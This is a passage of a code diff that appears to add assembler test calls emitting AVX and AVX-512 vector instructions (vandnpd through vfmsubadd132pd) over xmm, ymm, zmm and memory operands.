xmmB, xmmC); + a.vandnpd(xmmA, xmmB, anyptr_gpC); + a.vandnpd(ymmA, ymmB, ymmC); + a.vandnpd(ymmA, ymmB, anyptr_gpC); + a.vandnpd(zmmA, zmmB, zmmC); + a.vandnpd(zmmA, zmmB, anyptr_gpC); + a.vandnps(xmmA, xmmB, xmmC); + a.vandnps(xmmA, xmmB, anyptr_gpC); + a.vandnps(ymmA, ymmB, ymmC); + a.vandnps(ymmA, ymmB, anyptr_gpC); + a.vandnps(zmmA, zmmB, zmmC); + a.vandnps(zmmA, zmmB, anyptr_gpC); + a.vandpd(xmmA, xmmB, xmmC); + a.vandpd(xmmA, xmmB, anyptr_gpC); + a.vandpd(ymmA, ymmB, ymmC); + a.vandpd(ymmA, ymmB, anyptr_gpC); + a.vandpd(zmmA, zmmB, zmmC); + a.vandpd(zmmA, zmmB, anyptr_gpC); + a.vandps(xmmA, xmmB, xmmC); + a.vandps(xmmA, xmmB, anyptr_gpC); + a.vandps(ymmA, ymmB, ymmC); + a.vandps(ymmA, ymmB, anyptr_gpC); + a.vandps(zmmA, zmmB, zmmC); + a.vandps(zmmA, zmmB, anyptr_gpC); + a.vblendmb(xmmA, xmmB, xmmC); + a.vblendmb(xmmA, xmmB, anyptr_gpC); + a.vblendmb(ymmA, ymmB, ymmC); + a.vblendmb(ymmA, ymmB, anyptr_gpC); + a.vblendmb(zmmA, zmmB, zmmC); + a.vblendmb(zmmA, zmmB, anyptr_gpC); + a.vblendmd(xmmA, xmmB, xmmC); + a.vblendmd(xmmA, xmmB, anyptr_gpC); + a.vblendmd(ymmA, ymmB, ymmC); + a.vblendmd(ymmA, ymmB, anyptr_gpC); + a.vblendmd(zmmA, zmmB, zmmC); + a.vblendmd(zmmA, zmmB, anyptr_gpC); + a.vblendmpd(xmmA, xmmB, xmmC); + a.vblendmpd(xmmA, xmmB, anyptr_gpC); + a.vblendmpd(ymmA, ymmB, ymmC); + a.vblendmpd(ymmA, ymmB, anyptr_gpC); + a.vblendmpd(zmmA, zmmB, zmmC); + a.vblendmpd(zmmA, zmmB, anyptr_gpC); + a.vblendmps(xmmA, xmmB, xmmC); + a.vblendmps(xmmA, xmmB, anyptr_gpC); + a.vblendmps(ymmA, ymmB, ymmC); + a.vblendmps(ymmA, ymmB, anyptr_gpC); + a.vblendmps(zmmA, zmmB, zmmC); + a.vblendmps(zmmA, zmmB, anyptr_gpC); + a.vblendmq(xmmA, xmmB, xmmC); + a.vblendmq(xmmA, xmmB, anyptr_gpC); + a.vblendmq(ymmA, ymmB, ymmC); + a.vblendmq(ymmA, ymmB, anyptr_gpC); + a.vblendmq(zmmA, zmmB, zmmC); + a.vblendmq(zmmA, zmmB, anyptr_gpC); + a.vblendmw(xmmA, xmmB, xmmC); + a.vblendmw(xmmA, xmmB, anyptr_gpC); + a.vblendmw(ymmA, ymmB, ymmC); + a.vblendmw(ymmA, ymmB, anyptr_gpC); + a.vblendmw(zmmA, zmmB, zmmC); + a.vblendmw(zmmA, zmmB, anyptr_gpC); + a.vbroadcastf32x2(ymmA, xmmB); + a.vbroadcastf32x2(ymmA, anyptr_gpB); + a.vbroadcastf32x2(zmmA, xmmB); + a.vbroadcastf32x2(zmmA, anyptr_gpB); + a.vbroadcastf32x4(ymmA, anyptr_gpB); + a.vbroadcastf32x4(zmmA, anyptr_gpB); + a.vbroadcastf32x8(zmmA, anyptr_gpB); + a.vbroadcastf64x2(ymmA, anyptr_gpB); + a.vbroadcastf64x2(zmmA, anyptr_gpB); + a.vbroadcastf64x4(zmmA, anyptr_gpB); + a.vbroadcasti32x2(xmmA, xmmB); + a.vbroadcasti32x2(xmmA, anyptr_gpB); + a.vbroadcasti32x2(ymmA, xmmB); + a.vbroadcasti32x2(ymmA, anyptr_gpB); + a.vbroadcasti32x2(zmmA, xmmB); + a.vbroadcasti32x2(zmmA, anyptr_gpB); + a.vbroadcasti32x4(ymmA, xmmB); + a.vbroadcasti32x4(ymmA, anyptr_gpB); + a.vbroadcasti32x4(zmmA, xmmB); + a.vbroadcasti32x4(zmmA, anyptr_gpB); + a.vbroadcasti32x8(zmmA, xmmB); + a.vbroadcasti32x8(zmmA, anyptr_gpB); + a.vbroadcasti64x2(ymmA, xmmB); + a.vbroadcasti64x2(ymmA, anyptr_gpB); + a.vbroadcasti64x2(zmmA, xmmB); + a.vbroadcasti64x2(zmmA, anyptr_gpB); + a.vbroadcasti64x4(zmmA, xmmB); + a.vbroadcasti64x4(zmmA, anyptr_gpB); + a.vbroadcastsd(ymmA, xmmB); + a.vbroadcastsd(ymmA, anyptr_gpB); + a.vbroadcastsd(zmmA, xmmB); + a.vbroadcastsd(zmmA, anyptr_gpB); + a.vbroadcastss(xmmA, xmmB); + a.vbroadcastss(xmmA, anyptr_gpB); + a.vbroadcastss(ymmA, xmmB); + a.vbroadcastss(ymmA, anyptr_gpB); + a.vbroadcastss(zmmA, xmmB); + a.vbroadcastss(zmmA, anyptr_gpB); + a.vcmppd(kA, xmmB, xmmC, 0); + a.vcmppd(kA, xmmB, anyptr_gpC, 0); + a.vcmppd(kA, ymmB, ymmC, 0); + a.vcmppd(kA, ymmB, anyptr_gpC, 0); + a.vcmppd(kA, zmmB, zmmC, 0); + a.vcmppd(kA, zmmB, anyptr_gpC, 0); + a.vcmpps(kA, xmmB, xmmC, 0); + a.vcmpps(kA, xmmB, anyptr_gpC, 0); + a.vcmpps(kA, ymmB, ymmC, 0); + a.vcmpps(kA, ymmB, anyptr_gpC, 0); + a.vcmpps(kA, zmmB, zmmC, 0); + a.vcmpps(kA, zmmB, anyptr_gpC, 0); + a.vcmpsd(kA, xmmB, xmmC, 0); + a.vcmpsd(kA, xmmB, anyptr_gpC, 0); + a.vcmpss(kA, xmmB, xmmC, 0); + a.vcmpss(kA, xmmB, anyptr_gpC, 0); + a.vcomisd(xmmA, xmmB); + a.vcomisd(xmmA, anyptr_gpB); + a.vcomiss(xmmA, xmmB); + a.vcomiss(xmmA, anyptr_gpB); + a.vcompresspd(xmmA, xmmB); + a.vcompresspd(anyptr_gpA, xmmB); + a.vcompresspd(ymmA, ymmB); + a.vcompresspd(anyptr_gpA, ymmB); + a.vcompresspd(zmmA, zmmB); + a.vcompresspd(anyptr_gpA, zmmB); + a.vcompressps(xmmA, xmmB); + a.vcompressps(anyptr_gpA, xmmB); + a.vcompressps(ymmA, ymmB); + a.vcompressps(anyptr_gpA, ymmB); + a.vcompressps(zmmA, zmmB); + a.vcompressps(anyptr_gpA, zmmB); + a.vcvtdq2pd(xmmA, xmmB); + a.vcvtdq2pd(xmmA, anyptr_gpB); + a.vcvtdq2pd(ymmA, xmmB); + a.vcvtdq2pd(ymmA, anyptr_gpB); + a.vcvtdq2pd(zmmA, ymmB); + a.vcvtdq2pd(zmmA, anyptr_gpB); + a.vcvtdq2ps(xmmA, xmmB); + a.vcvtdq2ps(xmmA, anyptr_gpB); + a.vcvtdq2ps(ymmA, ymmB); + a.vcvtdq2ps(ymmA, anyptr_gpB); + a.vcvtdq2ps(zmmA, zmmB); + a.vcvtdq2ps(zmmA, anyptr_gpB); + a.vcvtpd2dq(xmmA, xmmB); + a.vcvtpd2dq(xmmA, anyptr_gpB); + a.vcvtpd2dq(xmmA, ymmB); + a.vcvtpd2dq(xmmA, anyptr_gpB); + a.vcvtpd2dq(ymmA, zmmB); + a.vcvtpd2dq(ymmA, anyptr_gpB); + a.vcvtpd2qq(xmmA, xmmB); + a.vcvtpd2qq(xmmA, anyptr_gpB); + a.vcvtpd2qq(ymmA, ymmB); + a.vcvtpd2qq(ymmA, anyptr_gpB); + a.vcvtpd2qq(zmmA, zmmB); + a.vcvtpd2qq(zmmA, anyptr_gpB); + a.vcvtpd2udq(xmmA, xmmB); + a.vcvtpd2udq(xmmA, anyptr_gpB); + a.vcvtpd2udq(xmmA, ymmB); + a.vcvtpd2udq(xmmA, anyptr_gpB); + a.vcvtpd2udq(ymmA, zmmB); + a.vcvtpd2udq(ymmA, anyptr_gpB); + a.vcvtpd2uqq(xmmA, xmmB); + a.vcvtpd2uqq(xmmA, anyptr_gpB); + a.vcvtpd2uqq(ymmA, ymmB); + a.vcvtpd2uqq(ymmA, anyptr_gpB); + a.vcvtpd2uqq(zmmA, zmmB); + a.vcvtpd2uqq(zmmA, anyptr_gpB); + a.vcvtph2ps(xmmA, xmmB); + a.vcvtph2ps(xmmA, anyptr_gpB); + a.vcvtph2ps(ymmA, xmmB); + a.vcvtph2ps(ymmA, anyptr_gpB); + a.vcvtph2ps(zmmA, ymmB); + a.vcvtph2ps(zmmA, anyptr_gpB); + a.vcvtps2dq(xmmA, xmmB); + a.vcvtps2dq(xmmA, anyptr_gpB); + a.vcvtps2dq(ymmA, ymmB); + a.vcvtps2dq(ymmA, anyptr_gpB); + a.vcvtps2dq(zmmA, zmmB); + a.vcvtps2dq(zmmA, anyptr_gpB); + a.vcvtps2pd(xmmA, xmmB); + a.vcvtps2pd(xmmA, anyptr_gpB); + a.vcvtps2pd(ymmA, xmmB); + a.vcvtps2pd(ymmA, anyptr_gpB); + a.vcvtps2pd(zmmA, ymmB); + a.vcvtps2pd(zmmA, anyptr_gpB); + a.vcvtps2ph(xmmA, xmmB, 0); + a.vcvtps2ph(anyptr_gpA, xmmB, 0); + a.vcvtps2ph(xmmA, ymmB, 0); + a.vcvtps2ph(anyptr_gpA, ymmB, 0); + a.vcvtps2ph(ymmA, zmmB, 0); + a.vcvtps2ph(anyptr_gpA, zmmB, 0); + a.vcvtps2qq(xmmA, xmmB); + a.vcvtps2qq(xmmA, anyptr_gpB); + a.vcvtps2qq(ymmA, xmmB); + a.vcvtps2qq(ymmA, anyptr_gpB); + a.vcvtps2qq(zmmA, ymmB); + a.vcvtps2qq(zmmA, anyptr_gpB); + a.vcvtps2udq(xmmA, xmmB); + a.vcvtps2udq(xmmA, anyptr_gpB); + a.vcvtps2udq(ymmA, ymmB); + a.vcvtps2udq(ymmA, anyptr_gpB); + a.vcvtps2udq(zmmA, zmmB); + a.vcvtps2udq(zmmA, anyptr_gpB); + a.vcvtps2uqq(xmmA, xmmB); + a.vcvtps2uqq(xmmA, anyptr_gpB); + a.vcvtps2uqq(ymmA, xmmB); + a.vcvtps2uqq(ymmA, anyptr_gpB); + a.vcvtps2uqq(zmmA, ymmB); + a.vcvtps2uqq(zmmA, anyptr_gpB); + a.vcvtqq2pd(xmmA, xmmB); + a.vcvtqq2pd(xmmA, anyptr_gpB); + a.vcvtqq2pd(ymmA, ymmB); + a.vcvtqq2pd(ymmA, anyptr_gpB); + a.vcvtqq2pd(zmmA, zmmB); + a.vcvtqq2pd(zmmA, anyptr_gpB); + a.vcvtqq2ps(xmmA, xmmB); + a.vcvtqq2ps(xmmA, anyptr_gpB); + a.vcvtqq2ps(xmmA, ymmB); + a.vcvtqq2ps(xmmA, anyptr_gpB); + a.vcvtqq2ps(ymmA, zmmB); + a.vcvtqq2ps(ymmA, anyptr_gpB); + a.vcvtsd2si(gdA, xmmB); + a.vcvtsd2si(gdA, anyptr_gpB); + if (isX64) a.vcvtsd2si(gzA, xmmB); + if (isX64) a.vcvtsd2si(gzA, anyptr_gpB); + a.vcvtsd2ss(xmmA, xmmB, xmmC); + a.vcvtsd2ss(xmmA, xmmB, anyptr_gpC); + a.vcvtsd2usi(gdA, xmmB); + a.vcvtsd2usi(gdA, anyptr_gpB); + if (isX64) a.vcvtsd2usi(gzA, xmmB); + if (isX64) a.vcvtsd2usi(gzA, anyptr_gpB); + a.vcvtsi2sd(xmmA, xmmB, gdC); + a.vcvtsi2sd(xmmA, xmmB, dword_ptr(gzC)); + if (isX64) a.vcvtsi2sd(xmmA, xmmB, gzC); + if (isX64) a.vcvtsi2sd(xmmA, xmmB, qword_ptr(gzC)); + a.vcvtsi2ss(xmmA, xmmB, gdC); + a.vcvtsi2ss(xmmA, xmmB, dword_ptr(gzC)); + if (isX64) a.vcvtsi2ss(xmmA, xmmB, gzC); + if (isX64) a.vcvtsi2ss(xmmA, xmmB, qword_ptr(gzC)); + a.vcvtss2sd(xmmA, xmmB, xmmC); + a.vcvtss2sd(xmmA, xmmB, anyptr_gpC); + a.vcvtss2si(gdA, xmmB); + a.vcvtss2si(gdA, anyptr_gpB); + if (isX64) a.vcvtss2si(gzA, xmmB); + if (isX64) a.vcvtss2si(gzA, anyptr_gpB); + a.vcvtss2usi(gdA, xmmB); + a.vcvtss2usi(gdA, anyptr_gpB); + if (isX64) a.vcvtss2usi(gzA, xmmB); + if (isX64) a.vcvtss2usi(gzA, anyptr_gpB); + a.vcvttpd2dq(xmmA, xmmB); + a.vcvttpd2dq(xmmA, anyptr_gpB); + a.vcvttpd2dq(xmmA, ymmB); + a.vcvttpd2dq(xmmA, anyptr_gpB); + a.vcvttpd2dq(ymmA, zmmB); + a.vcvttpd2dq(ymmA, anyptr_gpB); + a.vcvttpd2qq(xmmA, xmmB); + a.vcvttpd2qq(xmmA, anyptr_gpB); + a.vcvttpd2qq(ymmA, ymmB); + a.vcvttpd2qq(ymmA, anyptr_gpB); + a.vcvttpd2qq(zmmA, zmmB); + a.vcvttpd2qq(zmmA, anyptr_gpB); + a.vcvttpd2udq(xmmA, xmmB); + a.vcvttpd2udq(xmmA, anyptr_gpB); + a.vcvttpd2udq(xmmA, ymmB); + a.vcvttpd2udq(xmmA, anyptr_gpB); + a.vcvttpd2udq(ymmA, zmmB); + a.vcvttpd2udq(ymmA, anyptr_gpB); + a.vcvttpd2uqq(xmmA, xmmB); + a.vcvttpd2uqq(xmmA, anyptr_gpB); + a.vcvttpd2uqq(ymmA, ymmB); + a.vcvttpd2uqq(ymmA, anyptr_gpB); + a.vcvttpd2uqq(zmmA, zmmB); + a.vcvttpd2uqq(zmmA, anyptr_gpB); + a.vcvttps2dq(xmmA, xmmB); + a.vcvttps2dq(xmmA, anyptr_gpB); + a.vcvttps2dq(ymmA, ymmB); + a.vcvttps2dq(ymmA, anyptr_gpB); + a.vcvttps2dq(zmmA, zmmB); + a.vcvttps2dq(zmmA, anyptr_gpB); + a.vcvttps2qq(xmmA, xmmB); + a.vcvttps2qq(xmmA, anyptr_gpB); + a.vcvttps2qq(ymmA, xmmB); + a.vcvttps2qq(ymmA, anyptr_gpB); + a.vcvttps2qq(zmmA, ymmB); + a.vcvttps2qq(zmmA, anyptr_gpB); + a.vcvttps2udq(xmmA, xmmB); + a.vcvttps2udq(xmmA, anyptr_gpB); + a.vcvttps2udq(ymmA, ymmB); + a.vcvttps2udq(ymmA, anyptr_gpB); + a.vcvttps2udq(zmmA, zmmB); + a.vcvttps2udq(zmmA, anyptr_gpB); + a.vcvttps2uqq(xmmA, xmmB); + a.vcvttps2uqq(xmmA, anyptr_gpB); + a.vcvttps2uqq(ymmA, xmmB); + a.vcvttps2uqq(ymmA, anyptr_gpB); + a.vcvttps2uqq(zmmA, ymmB); + a.vcvttps2uqq(zmmA, anyptr_gpB); + a.vcvttsd2si(gdA, xmmB); + a.vcvttsd2si(gdA, anyptr_gpB); + if (isX64) a.vcvttsd2si(gzA, xmmB); + if (isX64) a.vcvttsd2si(gzA, anyptr_gpB); + a.vcvttsd2usi(gdA, xmmB); + a.vcvttsd2usi(gdA, anyptr_gpB); + if (isX64) a.vcvttsd2usi(gzA, xmmB); + if (isX64) a.vcvttsd2usi(gzA, anyptr_gpB); + a.vcvttss2si(gdA, xmmB); + a.vcvttss2si(gdA, anyptr_gpB); + if (isX64) a.vcvttss2si(gzA, xmmB); + if (isX64) a.vcvttss2si(gzA, anyptr_gpB); + a.vcvttss2usi(gdA, xmmB); + a.vcvttss2usi(gdA, anyptr_gpB); + if (isX64) a.vcvttss2usi(gzA, xmmB); + if (isX64) a.vcvttss2usi(gzA, anyptr_gpB); + a.vcvtudq2pd(xmmA, xmmB); + a.vcvtudq2pd(xmmA, anyptr_gpB); + a.vcvtudq2pd(ymmA, xmmB); + a.vcvtudq2pd(ymmA, anyptr_gpB); + a.vcvtudq2pd(zmmA, ymmB); + a.vcvtudq2pd(zmmA, anyptr_gpB); + a.vcvtudq2ps(xmmA, xmmB); + a.vcvtudq2ps(xmmA, anyptr_gpB); + a.vcvtudq2ps(ymmA, ymmB); + a.vcvtudq2ps(ymmA, anyptr_gpB); + a.vcvtudq2ps(zmmA, zmmB); + a.vcvtudq2ps(zmmA, anyptr_gpB); + a.vcvtuqq2pd(xmmA, xmmB); + a.vcvtuqq2pd(xmmA, anyptr_gpB); + a.vcvtuqq2pd(ymmA, ymmB); + a.vcvtuqq2pd(ymmA, anyptr_gpB); + a.vcvtuqq2pd(zmmA, zmmB); + a.vcvtuqq2pd(zmmA, anyptr_gpB); + a.vcvtuqq2ps(xmmA, xmmB); + a.vcvtuqq2ps(xmmA, anyptr_gpB); + a.vcvtuqq2ps(xmmA, ymmB); + a.vcvtuqq2ps(xmmA, anyptr_gpB); + a.vcvtuqq2ps(ymmA, zmmB); + a.vcvtuqq2ps(ymmA, anyptr_gpB); + a.vcvtusi2sd(xmmA, xmmB, gdC); + a.vcvtusi2sd(xmmA, xmmB, dword_ptr(gzC)); + if (isX64) a.vcvtusi2sd(xmmA, xmmB, gzC); + if (isX64) a.vcvtusi2sd(xmmA, xmmB, qword_ptr(gzC)); + a.vcvtusi2ss(xmmA, xmmB, gdC); + a.vcvtusi2ss(xmmA, xmmB, dword_ptr(gzC)); + if (isX64) a.vcvtusi2ss(xmmA, xmmB, gzC); + if (isX64) a.vcvtusi2ss(xmmA, xmmB, qword_ptr(gzC)); + a.vdbpsadbw(xmmA, xmmB, xmmC, 0); + a.vdbpsadbw(xmmA, xmmB, anyptr_gpC, 0); + a.vdbpsadbw(ymmA, ymmB, ymmC, 0); + a.vdbpsadbw(ymmA, ymmB, anyptr_gpC, 0); + a.vdbpsadbw(zmmA, zmmB, zmmC, 0); + a.vdbpsadbw(zmmA, zmmB, anyptr_gpC, 0); + a.vdivpd(xmmA, xmmB, xmmC); + a.vdivpd(xmmA, xmmB, anyptr_gpC); + a.vdivpd(ymmA, ymmB, ymmC); + a.vdivpd(ymmA, ymmB, anyptr_gpC); + a.vdivpd(zmmA, zmmB, zmmC); + a.vdivpd(zmmA, zmmB, anyptr_gpC); + a.vdivps(xmmA, xmmB, xmmC); + a.vdivps(xmmA, xmmB, anyptr_gpC); + a.vdivps(ymmA, ymmB, ymmC); + a.vdivps(ymmA, ymmB, anyptr_gpC); + a.vdivps(zmmA, zmmB, zmmC); + a.vdivps(zmmA, zmmB, anyptr_gpC); + a.vdivsd(xmmA, xmmB, xmmC); + a.vdivsd(xmmA, xmmB, anyptr_gpC); + a.vdivss(xmmA, xmmB, xmmC); + a.vdivss(xmmA, xmmB, anyptr_gpC); + a.vexp2pd(zmmA, zmmB); + a.vexp2pd(zmmA, anyptr_gpB); + a.vexp2ps(zmmA, zmmB); + a.vexp2ps(zmmA, anyptr_gpB); + a.vexpandpd(xmmA, xmmB); + a.vexpandpd(xmmA, anyptr_gpB); + a.vexpandpd(ymmA, ymmB); + a.vexpandpd(ymmA, anyptr_gpB); + a.vexpandpd(zmmA, zmmB); + a.vexpandpd(zmmA, anyptr_gpB); + a.vexpandps(xmmA, xmmB); + a.vexpandps(xmmA, anyptr_gpB); + a.vexpandps(ymmA, ymmB); + a.vexpandps(ymmA, anyptr_gpB); + a.vexpandps(zmmA, zmmB); + a.vexpandps(zmmA, anyptr_gpB); + a.vextractf32x4(xmmA, ymmB, 0); + a.vextractf32x4(anyptr_gpA, ymmB, 0); + a.vextractf32x4(xmmA, zmmB, 0); + a.vextractf32x4(anyptr_gpA, zmmB, 0); + a.vextractf32x8(ymmA, zmmB, 0); + a.vextractf32x8(anyptr_gpA, zmmB, 0); + a.vextractf64x2(xmmA, ymmB, 0); + a.vextractf64x2(anyptr_gpA, ymmB, 0); + a.vextractf64x2(xmmA, zmmB, 0); + a.vextractf64x2(anyptr_gpA, zmmB, 0); + a.vextractf64x4(ymmA, zmmB, 0); + a.vextractf64x4(anyptr_gpA, zmmB, 0); + a.vextracti32x4(xmmA, ymmB, 0); + a.vextracti32x4(anyptr_gpA, ymmB, 0); + a.vextracti32x4(xmmA, zmmB, 0); + a.vextracti32x4(anyptr_gpA, zmmB, 0); + a.vextracti32x8(ymmA, zmmB, 0); + a.vextracti32x8(anyptr_gpA, zmmB, 0); + a.vextracti64x2(xmmA, ymmB, 0); + a.vextracti64x2(anyptr_gpA, ymmB, 0); + a.vextracti64x2(xmmA, zmmB, 0); + a.vextracti64x2(anyptr_gpA, zmmB, 0); + a.vextracti64x4(ymmA, zmmB, 0); + a.vextracti64x4(anyptr_gpA, zmmB, 0); + a.vextractps(gdA, xmmB, 0); + a.vextractps(gzA, xmmB, 0); + a.vextractps(anyptr_gpA, xmmB, 0); + a.vfixupimmpd(xmmA, xmmB, xmmC, 0); + a.vfixupimmpd(xmmA, xmmB, anyptr_gpC, 0); + a.vfixupimmpd(ymmA, ymmB, ymmC, 0); + a.vfixupimmpd(ymmA, ymmB, anyptr_gpC, 0); + a.vfixupimmpd(zmmA, zmmB, zmmC, 0); + a.vfixupimmpd(zmmA, zmmB, anyptr_gpC, 0); + a.vfixupimmps(xmmA, xmmB, xmmC, 0); + a.vfixupimmps(xmmA, xmmB, anyptr_gpC, 0); + a.vfixupimmps(ymmA, ymmB, ymmC, 0); + a.vfixupimmps(ymmA, ymmB, anyptr_gpC, 0); + a.vfixupimmps(zmmA, zmmB, zmmC, 0); + a.vfixupimmps(zmmA, zmmB, anyptr_gpC, 0); + a.vfixupimmsd(xmmA, xmmB, xmmC, 0); + a.vfixupimmsd(xmmA, xmmB, anyptr_gpC, 0); + a.vfixupimmss(xmmA, xmmB, xmmC, 0); + a.vfixupimmss(xmmA, xmmB, anyptr_gpC, 0); + a.vfmadd132pd(xmmA, xmmB, xmmC); + a.vfmadd132pd(xmmA, xmmB, anyptr_gpC); + a.vfmadd132pd(ymmA, ymmB, ymmC); + a.vfmadd132pd(ymmA, ymmB, anyptr_gpC); + a.vfmadd132pd(zmmA, zmmB, zmmC); + a.vfmadd132pd(zmmA, zmmB, anyptr_gpC); + a.vfmadd132ps(xmmA, xmmB, xmmC); + a.vfmadd132ps(xmmA, xmmB, anyptr_gpC); + a.vfmadd132ps(ymmA, ymmB, ymmC); + a.vfmadd132ps(ymmA, ymmB, anyptr_gpC); + a.vfmadd132ps(zmmA, zmmB, zmmC); + a.vfmadd132ps(zmmA, zmmB, anyptr_gpC); + a.vfmadd132sd(xmmA, xmmB, xmmC); + a.vfmadd132sd(xmmA, xmmB, anyptr_gpC); + a.vfmadd132ss(xmmA, xmmB, xmmC); + a.vfmadd132ss(xmmA, xmmB, anyptr_gpC); + a.vfmadd213pd(xmmA, xmmB, xmmC); + a.vfmadd213pd(xmmA, xmmB, anyptr_gpC); + a.vfmadd213pd(ymmA, ymmB, ymmC); + a.vfmadd213pd(ymmA, ymmB, anyptr_gpC); + a.vfmadd213pd(zmmA, zmmB, zmmC); + a.vfmadd213pd(zmmA, zmmB, anyptr_gpC); + a.vfmadd213ps(xmmA, xmmB, xmmC); + a.vfmadd213ps(xmmA, xmmB, anyptr_gpC); + a.vfmadd213ps(ymmA, ymmB, ymmC); + a.vfmadd213ps(ymmA, ymmB, anyptr_gpC); + a.vfmadd213ps(zmmA, zmmB, zmmC); + a.vfmadd213ps(zmmA, zmmB, anyptr_gpC); + a.vfmadd213sd(xmmA, xmmB, xmmC); + a.vfmadd213sd(xmmA, xmmB, anyptr_gpC); + a.vfmadd213ss(xmmA, xmmB, xmmC); + a.vfmadd213ss(xmmA, xmmB, anyptr_gpC); + a.vfmadd231pd(xmmA, xmmB, xmmC); + a.vfmadd231pd(xmmA, xmmB, anyptr_gpC); + a.vfmadd231pd(ymmA, ymmB, ymmC); + a.vfmadd231pd(ymmA, ymmB, anyptr_gpC); + a.vfmadd231pd(zmmA, zmmB, zmmC); + a.vfmadd231pd(zmmA, zmmB, anyptr_gpC); + a.vfmadd231ps(xmmA, xmmB, xmmC); + a.vfmadd231ps(xmmA, xmmB, anyptr_gpC); + a.vfmadd231ps(ymmA, ymmB, ymmC); + a.vfmadd231ps(ymmA, ymmB, anyptr_gpC); + a.vfmadd231ps(zmmA, zmmB, zmmC); + a.vfmadd231ps(zmmA, zmmB, anyptr_gpC); + a.vfmadd231sd(xmmA, xmmB, xmmC); + a.vfmadd231sd(xmmA, xmmB, anyptr_gpC); + a.vfmadd231ss(xmmA, xmmB, xmmC); + a.vfmadd231ss(xmmA, xmmB, anyptr_gpC); + a.vfmaddsub132pd(xmmA, xmmB, xmmC); + a.vfmaddsub132pd(xmmA, xmmB, anyptr_gpC); + a.vfmaddsub132pd(ymmA, ymmB, ymmC); + a.vfmaddsub132pd(ymmA, ymmB, anyptr_gpC); + a.vfmaddsub132pd(zmmA, zmmB, zmmC); + a.vfmaddsub132pd(zmmA, zmmB, anyptr_gpC); + a.vfmaddsub132ps(xmmA, xmmB, xmmC); + a.vfmaddsub132ps(xmmA, xmmB, anyptr_gpC); + a.vfmaddsub132ps(ymmA, ymmB, ymmC); + a.vfmaddsub132ps(ymmA, ymmB, anyptr_gpC); + a.vfmaddsub132ps(zmmA, zmmB, zmmC); + a.vfmaddsub132ps(zmmA, zmmB, anyptr_gpC); + a.vfmaddsub213pd(xmmA, xmmB, xmmC); + a.vfmaddsub213pd(xmmA, xmmB, anyptr_gpC); + a.vfmaddsub213pd(ymmA, ymmB, ymmC); + a.vfmaddsub213pd(ymmA, ymmB, anyptr_gpC); + a.vfmaddsub213pd(zmmA, zmmB, zmmC); + a.vfmaddsub213pd(zmmA, zmmB, anyptr_gpC); + a.vfmaddsub213ps(xmmA, xmmB, xmmC); + a.vfmaddsub213ps(xmmA, xmmB, anyptr_gpC); + a.vfmaddsub213ps(ymmA, ymmB, ymmC); + a.vfmaddsub213ps(ymmA, ymmB, anyptr_gpC); + a.vfmaddsub213ps(zmmA, zmmB, zmmC); + a.vfmaddsub213ps(zmmA, zmmB, anyptr_gpC); + a.vfmaddsub231pd(xmmA, xmmB, xmmC); + a.vfmaddsub231pd(xmmA, xmmB, anyptr_gpC); + a.vfmaddsub231pd(ymmA, ymmB, ymmC); + a.vfmaddsub231pd(ymmA, ymmB, anyptr_gpC); + a.vfmaddsub231pd(zmmA, zmmB, zmmC); + a.vfmaddsub231pd(zmmA, zmmB, anyptr_gpC); + a.vfmaddsub231ps(xmmA, xmmB, xmmC); + a.vfmaddsub231ps(xmmA, xmmB, anyptr_gpC); + a.vfmaddsub231ps(ymmA, ymmB, ymmC); + a.vfmaddsub231ps(ymmA, ymmB, anyptr_gpC); + a.vfmaddsub231ps(zmmA, zmmB, zmmC); + a.vfmaddsub231ps(zmmA, zmmB, anyptr_gpC); + a.vfmsub132pd(xmmA, xmmB, xmmC); + a.vfmsub132pd(xmmA, xmmB, anyptr_gpC); + a.vfmsub132pd(ymmA, ymmB, ymmC); + a.vfmsub132pd(ymmA, ymmB, anyptr_gpC); + a.vfmsub132pd(zmmA, zmmB, zmmC); + a.vfmsub132pd(zmmA, zmmB, anyptr_gpC); + a.vfmsub132ps(xmmA, xmmB, xmmC); + a.vfmsub132ps(xmmA, xmmB, anyptr_gpC); + a.vfmsub132ps(ymmA, ymmB, ymmC); + a.vfmsub132ps(ymmA, ymmB, anyptr_gpC); + a.vfmsub132ps(zmmA, zmmB, zmmC); + a.vfmsub132ps(zmmA, zmmB, anyptr_gpC); + a.vfmsub132sd(xmmA, xmmB, xmmC); + a.vfmsub132sd(xmmA, xmmB, anyptr_gpC); + a.vfmsub132ss(xmmA, xmmB, xmmC); + a.vfmsub132ss(xmmA, xmmB, anyptr_gpC); + a.vfmsub213pd(xmmA, xmmB, xmmC); + a.vfmsub213pd(xmmA, xmmB, anyptr_gpC); + a.vfmsub213pd(ymmA, ymmB, ymmC); + a.vfmsub213pd(ymmA, ymmB, anyptr_gpC); + a.vfmsub213pd(zmmA, zmmB, zmmC); + a.vfmsub213pd(zmmA, zmmB, anyptr_gpC); + a.vfmsub213ps(xmmA, xmmB, xmmC); + a.vfmsub213ps(xmmA, xmmB, anyptr_gpC); + a.vfmsub213ps(ymmA, ymmB, ymmC); + a.vfmsub213ps(ymmA, ymmB, anyptr_gpC); + a.vfmsub213ps(zmmA, zmmB, zmmC); + a.vfmsub213ps(zmmA, zmmB, anyptr_gpC); + a.vfmsub213sd(xmmA, xmmB, xmmC); + a.vfmsub213sd(xmmA, xmmB, anyptr_gpC); + a.vfmsub213ss(xmmA, xmmB, xmmC); + a.vfmsub213ss(xmmA, xmmB, anyptr_gpC); + a.vfmsub231pd(xmmA, xmmB, xmmC); + a.vfmsub231pd(xmmA, xmmB, anyptr_gpC); + a.vfmsub231pd(ymmA, ymmB, ymmC); + a.vfmsub231pd(ymmA, ymmB, anyptr_gpC); + a.vfmsub231pd(zmmA, zmmB, zmmC); + a.vfmsub231pd(zmmA, zmmB, anyptr_gpC); + a.vfmsub231ps(xmmA, xmmB, xmmC); + a.vfmsub231ps(xmmA, xmmB, anyptr_gpC); + a.vfmsub231ps(ymmA, ymmB, ymmC); + a.vfmsub231ps(ymmA, ymmB, anyptr_gpC); + a.vfmsub231ps(zmmA, zmmB, zmmC); + a.vfmsub231ps(zmmA, zmmB, anyptr_gpC); + a.vfmsub231sd(xmmA, xmmB, xmmC); + a.vfmsub231sd(xmmA, xmmB, anyptr_gpC); + a.vfmsub231ss(xmmA, xmmB, xmmC); + a.vfmsub231ss(xmmA, xmmB, anyptr_gpC); + a.vfmsubadd132pd(xmmA, xmmB, xmmC); + a.vfmsubadd132pd(xmmA, xmmB, anyptr_gpC); + a.vfmsubadd132pd(ymmA, ymmB, ymmC); + a.vfmsubadd132pd(ymmA, ymmB, anyptr_gpC); + a.vfmsubadd132pd(zmmA, zmmB, 